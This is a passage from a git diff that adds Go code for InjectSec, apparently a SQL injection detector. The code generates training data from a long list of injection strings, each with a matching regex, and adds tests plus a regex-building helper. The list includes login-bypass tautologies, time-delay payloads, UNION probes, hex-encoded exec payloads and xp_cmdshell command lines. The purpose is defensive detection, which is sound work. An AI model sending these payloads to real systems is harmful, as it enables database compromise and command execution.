p.AddLiteral(")") + }, + }, + { + Form: "23 OR 1=1", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + }, + }, + { + Form: "/", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("/") + p.AddSpacesOptional() + }, + }, + { + Form: "anything' OR 'x'='x", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'='") + p.AddName(1) + }, + }, + { + Form: "declare @q nvarchar (4000) select @q =", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("nvarchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 4000) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + }, + }, + { + Form: "or 0=0 --", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "desc", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("desc") + p.AddSpacesOptional() + }, + }, + { + Form: "||'6", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("||'6") + p.AddSpacesOptional() + }, + }, + { + Form: ")", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral(")") + p.AddSpacesOptional() + }, + }, + { + Form: "1)) or sleep(__TIME__)#", + Case: "1)) or sleep(123)#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral("))") + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(1, 1337) + p.AddSpacesOptional() + p.AddLiteral(")#") + }, + }, + { + Form: "or 0=0 #", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("#") + }, + }, + { + Form: " select name from syscolumns where id = (sele ...", + Case: " select name from syscolumns where id = (select 3)", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("where") + p.AddSpaces() + p.AddName(2) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddLiteral("(select ") + p.AddNumber(3, 1337) + p.AddLiteral(")") + }, + }, + { + Form: "hi or a=a", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddName(1) + p.AddLiteral("=") + p.AddName(1) + }, + }, + { + Form: "*(|(mail=*))", + Regex: func(p *Parts) { + p.AddLiteral("*(|(") + p.AddName(0) + p.AddLiteral("=*))") + }, + }, + { + Form: "password:*/=1--", + Regex: func(p *Parts) { + p.AddLiteral("password:*/=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: "distinct", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("distinct") + p.AddSpacesOptional() + }, + }, + { + Form: ");waitfor delay '0:0:__TIME__'--", + Case: ");waitfor delay '0:0:123'--", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddWaitfor() + }, + }, + { + Form: "to_timestamp_tz", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("to_timestamp_tz") + p.AddSpacesOptional() + }, + }, + { + Form: "\") or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddLiteral("\")") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: " UNION SELECT", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: "%2A%28%7C%28mail%3D%2A%29%29", + Regex: func(p *Parts) { + p.AddHexSpacesOptional() + p.AddLiteral("%2A%28%7C%28") + p.AddName(0) + p.AddLiteral("%3D%2A%29%29") + p.AddHexSpacesOptional() + }, + }, + { + Form: "+sqlvuln", + Case: "+select a from b where 1=1", + Regex: func(p *Parts) { + p.AddLiteral("+") + p.AddSQL() + }, + }, + { + Form: " or 1=1 /*", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("/*") + }, + }, + { + Form: ")) or sleep(__TIME__)='", + Case: ")) or sleep(123)='", + Regex: func(p *Parts) { + p.AddLiteral("))") + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")='") + }, + }, + { + Form: "or 1=1 or \"\"=", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("\"\"=") + }, + }, + { + Form: " or 1 in (select @@version)--", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("in") + p.AddSpaces() + p.AddLiteral("(select") + p.AddSpaces() + p.AddLiteral("@@") + p.AddName(1) + p.AddLiteral(")--") + }, + }, + { + Form: "sqlvuln;", + Case: "select a from b where 1=1;", + Regex: func(p *Parts) { + p.AddSQL() + p.AddLiteral(";") + }, + }, + { + Form: " union select * from users where login = char ...", + Case: " union select * from users where login = char 1, 2, 3", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("*") + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("where") + p.AddSpaces() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddLiteral("char") + p.AddSpaces() + p.AddNumberList(256) + }, + }, + { + Form: "x' or 1=1 or 'x'='y", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddOr() + p.AddLiteral("'") + p.AddName(2) + p.AddLiteral("'='") + p.AddName(2) + }, + }, + { + Form: "28 %", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("%") + }, + }, + { + Form: "‘ or 3=3 --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "@variable", + Regex: func(p *Parts) { + p.AddLiteral("@") + p.AddName(0) + }, + }, + { + Form: " or '1'='1'--", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddNumber(0, 1337) + p.AddLiteral("'='") + p.AddNumber(0, 1337) + p.AddLiteral("'--") + }, + }, + { + Form: "\"a\"\" or 1=1--\"", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddName(0) + p.AddLiteral("\"\"") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddLiteral("--\"") + }, + }, + { + Form: "//*", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("//*") + p.AddSpacesOptional() + }, + }, + { + Form: "%2A%7C", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("%2A%7C") + p.AddSpacesOptional() + }, + }, + { + Form: "\" or 0=0 --", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "\")) or pg_sleep(__TIME__)--", + Case: "\")) or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddLiteral("\"))") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "?", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("?") + p.AddSpacesOptional() + }, + }, + { + Form: " or 1/*", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("/*") + }, + }, + { + Form: "!", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("!") + p.AddSpacesOptional() + }, + }, + { + Form: "'", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddSpacesOptional() + }, + }, + { + Form: " or a = a", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddName(0) + }, + }, + { + Form: "declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("nvarchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + p.AddSpaces() + p.AddLiteral("exec(@") + p.AddName(0) + p.AddLiteral(")") + }, + }, + { + Form: "declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) ", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + p.AddSpaces() + p.AddLiteral("exec(@") + p.AddName(0) + p.AddLiteral(")") + p.AddSpaces() + }, + }, + { + Form: "declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("nvarchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddHex(1337 * 1337) + p.AddSpaces() + p.AddLiteral("exec(@") + p.AddName(0) + p.AddLiteral(")") + }, + }, + { + Form: "declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + p.AddSpaces() + p.AddLiteral("exec(@") + p.AddName(0) + p.AddLiteral(")") + }, + }, + { + Form: "' or 1=1", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: " or 1=1 --", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "x' OR full_name LIKE '%Bob%", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("like") + p.AddSpaces() + p.AddLiteral("'%") + p.AddName(2) + p.AddLiteral("%") + }, + }, + { + Form: "'; exec master..xp_cmdshell 'ping 172.10.1.255'--", + Regex: func(p *Parts) { + p.AddLiteral("';") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + p.AddSpaces() + p.AddLiteral("'ping") + p.AddSpaces() + p.AddNumber(0, 256) + p.AddLiteral(".") + p.AddNumber(1, 256) + p.AddLiteral(".") + p.AddNumber(2, 256) + p.AddLiteral(".") + p.AddNumber(3, 256) + p.AddLiteral("'--") + }, + }, + { + Form: "'%20or%20''='", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddHexOr() + p.AddLiteral("''='") + }, + }, + { + Form: "'%20or%20'x'='x", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddHexOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "')%20or%20('x'='x", + Regex: func(p *Parts) { + p.AddLiteral("')") + p.AddHexOr() + p.AddLiteral("('") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "' or 0=0 --", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "' or 0=0 #", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("#") + }, + }, + { + Form: " or 0=0 #\"", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("#\"") + }, + }, + { + Form: "' or 1=1--", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: "' or '1'='1'--", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddNumber(0, 1337) + p.AddLiteral("'='") + p.AddNumber(0, 1337) + p.AddLiteral("'--") + }, + }, + { + Form: "' or 1 --'", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--'") + }, + }, + { + Form: "or 1=1--", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: "' or 1=1 or ''='", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("''='") + }, + }, + { + Form: " or 1=1 or \"\"=", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("\"\"=") + }, + }, + { + Form: "' or a=a--", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + p.AddLiteral("--") + }, + }, + { + Form: " or a=a", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + }, + }, + { + Form: "') or ('a'='a", + Regex: func(p *Parts) { + p.AddLiteral("')") + p.AddOr() + p.AddLiteral("('") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "'hi' or 'x'='x';", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'='") + p.AddName(1) + p.AddLiteral("';") + }, + }, + { + Form: "or", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("or") + p.AddSpacesOptional() + }, + }, + { + Form: "procedure", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("procedure") + p.AddSpacesOptional() + }, + }, + { + Form: "handler", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("handler") + p.AddSpacesOptional() + }, + }, + { + Form: "' or username like '%", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("like") + p.AddSpaces() + p.AddLiteral("'%") + }, + }, + { + Form: "' or uname like '%", + }, + { + Form: "' or userid like '%", + }, + { + Form: "' or uid like '%", + }, + { + Form: "' or user like '%", + }, + { + Form: "'; exec master..xp_cmdshell", + Regex: func(p *Parts) { + p.AddLiteral("';") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + }, + }, + { + Form: "'; exec xp_regread", + Regex: func(p *Parts) { + p.AddLiteral("';") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("xp_regread") + }, + }, + { + Form: "t'exec master..xp_cmdshell 'nslookup www.google.com'--", + Regex: func(p *Parts) { + p.AddLiteral("t'exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + p.AddSpaces() + p.AddLiteral("'nslookup") + p.AddSpaces() + p.AddName(0) + p.AddLiteral(".") + p.AddName(1) + p.AddLiteral(".") + p.AddName(2) + p.AddLiteral("'--") + }, + }, + { + Form: "--sp_password", + Regex: func(p *Parts) { + p.AddLiteral("--") + p.AddSpacesOptional() + p.AddLiteral("sp_password") + p.AddSpacesOptional() + }, + }, + { + Form: "' UNION SELECT", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: "' UNION ALL SELECT", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("all") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: "' or (EXISTS)", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("(exists)") + }, + }, + { + Form: "' (select top 1", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("(select") + p.AddSpaces() + p.AddLiteral("top") + p.AddSpaces() + p.AddNumber(0, 1337) + }, + }, + { + Form: "'||UTL_HTTP.REQUEST", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("utl_http.request") + }, + }, + { + Form: "1;SELECT%20*", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral(";select") + p.AddHexSpaces() + p.AddLiteral("*") + }, + }, + { + Form: "<>\"'%;)(&+", + }, + { + Form: "'%20or%201=1", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddHexOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: "'sqlattempt1", + Case: "'select a from b where 1=1", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddSQL() + }, + }, + { + Form: "%28", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("%") + p.AddNumber(0, 1337) + p.AddSpacesOptional() + }, + }, + { + Form: "%29", + }, + { + Form: "%26", + }, + { + Form: "%21", + }, + { + Form: "' or ''='", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("''='") + }, + }, + { + Form: "' or 3=3", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: " or 3=3 --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + } + return generators +} diff --git a/activity/sqld/injectsec/data/data_test.go b/activity/sqld/injectsec/data/data_test.go new file mode 100644 index 0000000..eaf5084 --- /dev/null +++ b/activity/sqld/injectsec/data/data_test.go @@ -0,0 +1,67 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package data + +import ( + "math/rand" + "regexp" + "strings" + "testing" +) + +func TestRegex(t *testing.T) { + rnd := rand.New(rand.NewSource(1)) + generators := TrainingDataGenerator(rnd) + for _, generator := range generators { + if generator.Regex != nil { + parts := NewParts() + generator.Regex(parts) + exp, err := parts.Regex() + if err != nil { + t.Fatal(err) + } + regex, err := regexp.Compile(exp) + if err != nil { + panic(err) + } + form := strings.ToLower(generator.Form) + if generator.Case != "" { + form = strings.ToLower(generator.Case) + } + if !regex.MatchString(form) { + t.Fatal(exp, form) + } + } + } +} + +func TestSample(t *testing.T) { + rnd := rand.New(rand.NewSource(1)) + generators := TrainingDataGenerator(rnd) + for _, generator := range generators { + if generator.Regex != nil { + parts := NewParts() + generator.Regex(parts) + exp, err := parts.Regex() + if err != nil { + t.Fatal(err) + } + regex, err := regexp.Compile(exp) + if err != nil { + panic(err) + } + for i := 0; i < 1024; i++ { + sample, err := parts.Sample(rnd) + if err != nil { + t.Fatal(err) + } + sample = strings.ToLower(sample) + if !regex.MatchString(sample) { + t.Fatal(exp, generator.Form, sample) + } + } + } + } +} diff --git a/activity/sqld/injectsec/data/parts.go b/activity/sqld/injectsec/data/parts.go new file mode 100644 index 0000000..109853a --- /dev/null +++ b/activity/sqld/injectsec/data/parts.go @@ -0,0 +1,534 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package data + +import ( + "fmt" + "math/rand" + "regexp" + "strconv" + "strings" +) + +var ( + // ErrorNotSupported means the part type is not supported + ErrorNotSupported = fmt.Errorf("part type is not supported") +) + +// PartType is a type of a part +type PartType int + +const ( + // PartTypeLiteral is a literal part type + PartTypeLiteral PartType = iota + // PartTypeNumber is a number + PartTypeNumber + // PartTypeName is a name + PartTypeName + // PartTypeOr is a or part type with spaces + PartTypeOr + // PartTypeHexOr is a or part type with hex spaces + PartTypeHexOr + // PartTypeAnd is a and part type with spaces + PartTypeAnd + // PartTypeSpaces represents spaces + PartTypeSpaces + // PartTypeSpacesOptional represents spaces or nothing + PartTypeSpacesOptional + // PartTypeHexSpaces represents hex spaces + PartTypeHexSpaces + // PartTypeHexSpaces represents hex spaces or nothing + PartTypeHexSpacesOptional + // PartTypeComment represents a comment + PartTypeComment + // PartTypeObfuscated is an obfuscated string + PartTypeObfuscated + // PartTypeObfuscatedWithComments is an comment obfuscated string + PartTypeObfuscatedWithComments + // PartTypeHex is a hex string + PartTypeHex + // PartTypeNumberList is a list of numbers + PartTypeNumberList + // PartTypeScientificNumber is a sciencetific number + PartTypeScientificNumber + // PartTypeSQL is a sql part type + PartTypeSQL +) + +// Part is part of a regex +type Part struct { + PartType + Variable int + Literal string + Max int + Parts *Parts +} + +// Parts is a bunch of Part +type Parts struct { + Parts []Part +} + +// NewParts creates a new set of parts +func NewParts() *Parts { + return &Parts{ + Parts: make([]Part, 0, 16), + } +} + +// AddType adds a part with type to the parts +func (p *Parts) AddType(partType PartType) { + part := Part{ + PartType: partType, + } + p.Parts = append(p.Parts, part) + return +} + +// AddParts adds parts +func (p *Parts) AddParts(partType PartType, adder func(p *Parts)) { + part := Part{ + PartType: partType, + Parts: NewParts(), + } + adder(part.Parts) + p.Parts = append(p.Parts, part) +} + +// AddLiteral adds a literal to the parts +func (p *Parts) AddLiteral(literal string) { + part := Part{ + PartType: PartTypeLiteral, + Literal: literal, + } + p.Parts = append(p.Parts, part) + return +} + +// AddNumber adds a literal to the parts +func (p *Parts) AddNumber(variable, max int) { + part := Part{ + PartType: PartTypeNumber, + Variable: variable, + Max: max, + } + p.Parts = append(p.Parts, part) + return +} + +// AddName adss a PartTypeName +func (p *Parts) AddName(variable int) { + part := Part{ + PartType: PartTypeName, + Variable: variable, + } + p.Parts = append(p.Parts, part) + return +} + +// AddOr adds a part type or +func (p *Parts) AddOr() { + p.AddType(PartTypeOr) +} + +// AddHexOr adds a part type hex or +func (p *Parts) AddHexOr() { + p.AddType(PartTypeHexOr) +} + +// AddAnd adds a part type and +func (p *Parts) AddAnd() { + p.AddType(PartTypeAnd) +} + +// AddSpaces adds a part type spaces +func (p *Parts) AddSpaces() { + p.AddType(PartTypeSpaces) +} + +// AddSpacesOptional adds a part type spaces optional +func (p *Parts) AddSpacesOptional() { + p.AddType(PartTypeSpacesOptional) +} + +// AddHexSpaces adds a part type hex spaces +func (p *Parts) AddHexSpaces() { + p.AddType(PartTypeHexSpaces) +} + +// AddHexSpaces adds a part type hex spaces optional +func (p *Parts) AddHexSpacesOptional() { + p.AddType(PartTypeHexSpacesOptional) +} + +// AddComment adds a part type comment +func (p *Parts) AddComment() { + p.AddType(PartTypeComment) +} + +// AddHex adds a hex type +func (p *Parts) AddHex(max int) { + part := Part{ + PartType: PartTypeHex, + Max: max, + } + p.Parts = append(p.Parts, part) +} + +// AddNumberList adds a list of numbers +func (p *Parts) AddNumberList(max int) { + part := Part{ + PartType: PartTypeNumberList, + Max: max, + } + p.Parts = append(p.Parts, part) +} + +// AddBenchmark add a SQL benchmark statement +func (p *Parts) AddBenchmark() { + p.AddLiteral("benchmark(") + p.AddSpacesOptional() + p.AddNumber(1024, 10000000) + p.AddSpacesOptional() + p.AddLiteral(",MD5(") + p.AddSpacesOptional() + p.AddNumber(1025, 10000000) + p.AddSpacesOptional() + p.AddLiteral("))#") +} + +// AddWaitfor adds a waitfor statement +func (p *Parts) AddWaitfor() { + p.AddLiteral(";waitfor") + p.AddSpaces() + p.AddLiteral("delay") + p.AddSpaces() + p.AddLiteral("'") + p.AddNumber(1024, 24) + p.AddLiteral(":") + p.AddNumber(1025, 60) + p.AddLiteral(":") + p.AddNumber(1026, 60) + p.AddLiteral("'--") +} + +// AddSQL adds a part type SQL +func (p *Parts) AddSQL() { + p.AddType(PartTypeSQL) +} + +// RegexFragment is part of a regex +func (p *Parts) RegexFragment() (string, error) { + last, regex := len(p.Parts)-1, "" + for i, part := range p.Parts { + switch part.PartType { + case PartTypeLiteral: + regex += regexp.QuoteMeta(strings.ToLower(part.Literal)) + case PartTypeNumber: + regex += "-?[[:digit:]]+([[:space:]]*[+\\-*/][[:space:]]*-?[[:digit:]]+)*" + case PartTypeName: + regex += "[\\p{L}_\\p{Cc}][\\p{L}\\p{N}_\\p{Cc}]*" + case PartTypeOr: + a := "" + if i == 0 { + a += "[[:space:]]*" + } else { + a += "[[:space:]]+" + } + a += "or" + if i == last { + a += "[[:space:]]*" + } else { + a += "[[:space:]]+" + } + b := "[[:space:]]*" + regexp.QuoteMeta("||") + "[[:space:]]*" + regex += "((" + a + ")|(" + b + "))" + case PartTypeHexOr: + hex := "(" + regexp.QuoteMeta("%20") + ")" + a := "" + if i == 0 { + a += hex + "*" + } else { + a += hex + "+" + } + a += "or" + if i == last { + a += hex + "*" + } else { + a += hex + "+" + } + b := hex + "*" + regexp.QuoteMeta("||") + hex + "*" + regex += "((" + a + ")|(" + b + "))" + case PartTypeAnd: + a := "" + if i == 0 { + a += "[[:space:]]*" + } else { + a += "[[:space:]]+" + } + a += "and" + if i == last { + a += "[[:space:]]*" + } else { + a += "[[:space:]]+" + } + b := "[[:space:]]*" + regexp.QuoteMeta("&&") + "[[:space:]]*" + regex += "((" + a + ")|(" + b + "))" + case PartTypeSpaces: + regex += "[[:space:]]+" + case PartTypeSpacesOptional: + regex += "[[:space:]]*" + case PartTypeHexSpaces: + regex += "(" + regexp.QuoteMeta("%20") + ")+" + case PartTypeHexSpacesOptional: + regex += "(" + regexp.QuoteMeta("%20") + ")*" + case PartTypeComment: + regex += regexp.QuoteMeta("/*") + "[[:alnum:][:space:]]*" + regexp.QuoteMeta("*/") + case PartTypeObfuscated: + regex += "'[\\p{L}\\p{N}_\\p{Cc}[:space:]]*'([[:space:]]*([|]{2}|[+])[[:space:]]*'[\\p{L}\\p{N}_\\p{Cc}[:space:]]*')*" + case PartTypeObfuscatedWithComments: + regex += "([\\p{L}\\p{N}_\\p{Cc}[:space:]]+|(/[*][\\p{L}\\p{N}_\\p{Cc}[:space:]]*[*]/))+" + case PartTypeHex: + regex += "0x[[:xdigit:]]+" + case PartTypeNumberList: + regex += "([[:digit:]]*[[:space:]]*,[[:space:]]*)*[[:digit:]]+" + case PartTypeScientificNumber: + regex += "[+-]?[[:digit:]]+" + regexp.QuoteMeta(".") + "?[[:digit:]]*(e[+-]?[[:digit:]]+)?" + case PartTypeSQL: + regex += "select([[:space:]]+[\\p{L}\\p{N}_\\p{Cc}]+[[:space:]]*,)*([[:space:]]+[\\p{L}\\p{N}_\\p{Cc}]+)" + + "[[:space:]]+from([[:space:]]+[\\p{L}\\p{N}_\\p{Cc}]+[[:space:]]*,)*([[:space:]]+[\\p{L}\\p{N}_\\p{Cc}]+)" + + "[[:space:]]+where[[:space:]]+[\\p{L}\\p{N}_\\p{Cc}]+[[:space:]]*[=><][[:space:]]*[\\p{L}\\p{N}_\\p{Cc}]+" + } + } + return regex, nil +} + +// Regex generates a regex from the parts +func (p *Parts) Regex() (string, error) { + regex, err := p.RegexFragment() + if err != nil { + return "", err + } + return "^" + regex + "$", nil +} + +// Sample samples from the parts +func (p *Parts) Sample(rnd *rand.Rand) (string, error) { + last, sample, state := len(p.Parts)-1, "", make(map[int]string) + for i, part := range p.Parts { + switch part.PartType { + 